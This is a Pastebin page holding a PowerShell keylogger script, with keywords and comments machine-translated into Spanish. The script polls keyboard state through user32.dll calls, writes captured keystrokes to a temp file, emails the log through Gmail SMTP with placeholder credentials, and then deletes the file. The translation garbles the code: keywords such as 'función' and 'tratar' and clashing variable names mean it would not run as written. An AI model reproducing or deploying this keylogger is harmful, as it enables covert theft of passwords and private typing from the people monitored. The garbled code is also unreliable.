Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Editar solo esta sección!
- $ TimeToRun = 2
- $ De = "usuario@gmail.com"
- $ Pase = "xxxxxxx"
- $ Para = "Usuario2@gmail.com"
- $ Asunto = "Resultados del registrador de teclas"
- $ body = "Resultados del keylogger"
- $ SMTPServer = "smtp.gmail.com"
- $ SMTPPort = "587"
- $ credentials = new-object Management.Automation.PSCredential $ From, ($ Pass | ConvertTo-SecureString -AsPlainText -Force)
- ############################
- $ TimeStart = Get-Date
- $ TimeEnd = $ timeStart.addminutes ($ TimeToRun)
- #requires -Version 2
- función Start-KeyLogger ($ Path = "$ env: temp \ keylogger.txt")
- {
- # Firmas para llamadas API
- $ firmas = @ '
- [DllImport ("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
- público estático externo externo GetAsyncKeyState (int virtualKeyCode);
- [DllImport ("user32.dll", CharSet = CharSet.Auto)]
- public static extern int GetKeyboardState (byte [] keystate);
- [DllImport ("user32.dll", CharSet = CharSet.Auto)]
- public static extern int MapVirtualKey (uint uCode, int uMapType);
- [DllImport ("user32.dll", CharSet = CharSet.Auto)]
- public static extern int ToUnicode (uint wVirtKey, uint wScanCode, byte [] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
- '@
- # cargar firmas y hacer que los miembros estén disponibles
- $ API = Add-Type -MemberDefinition $ signatures -Name 'Win32' -Namespace API -PassThru
- # crear archivo de salida
- $ null = New-Item -Path $ Path -ItemType File -Force
- tratar
- {
- # crear bucle sin fin. Cuando el usuario presiona CTRL + C, finalmente bloquea
- # se ejecuta y muestra las pulsaciones de teclas recopiladas
- while ($ TimeEnd -ge $ TimeNow) {
- Inicio-Sueño-Milisegundos 40
- # escanea todos los códigos ASCII superiores a 8
- para ($ ascii = 9; $ ascii -le 254; $ ascii ++) {
- # obtener el estado actual de la clave
- $ state = $ API :: GetAsyncKeyState ($ ascii)
- # se presiona la tecla?
- if ($ estado -eq -32767) {
- $ null = [consola] :: CapsLock
- # traducir el código de escaneo a código real
- $ virtualKey = $ API :: MapVirtualKey ($ ascii, 3)
- # obtener el estado del teclado para teclas virtuales
- $ kbstate = Byte de nuevo objeto [] 256
- $ checkkbstate = $ API :: GetKeyboardState ($ kbstate)
- # preparar un StringBuilder para recibir la clave de entrada
- $ mychar = New-Object -TypeName System.Text.StringBuilder
- # traducir clave virtual
- $ success = $ API :: ToUnicode ($ ascii, $ virtualKey, $ kbstate, $ mychar, $ mychar.Capacity, 0)
- si ($ éxito)
- {
- # agregar clave al archivo de registro
- [System.IO.File] :: AppendAllText ($ Path, $ mychar, [System.Text.Encoding] :: Unicode)
- }
- }
- }
- $ TimeNow = Get-Date
- }
- }
- finalmente
- {
- # abrir archivo de registro en el Bloc de notas
- send-mailmessage -from $ from -to $ to -subject $ Asunto -body $ body -Attachment $ Path -smtpServer $ smtpServer -port $ SMTPPort -credential $ credentials -usessl
- Remove-Item -Path $ Path -force
- salida 1
- }
- }
- # registra todas las pulsaciones de teclas hasta que se cancela la secuencia de comandos presionando CTRL + C
- # luego abrirá el archivo con los códigos clave recopilados
- Start-KeyLogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement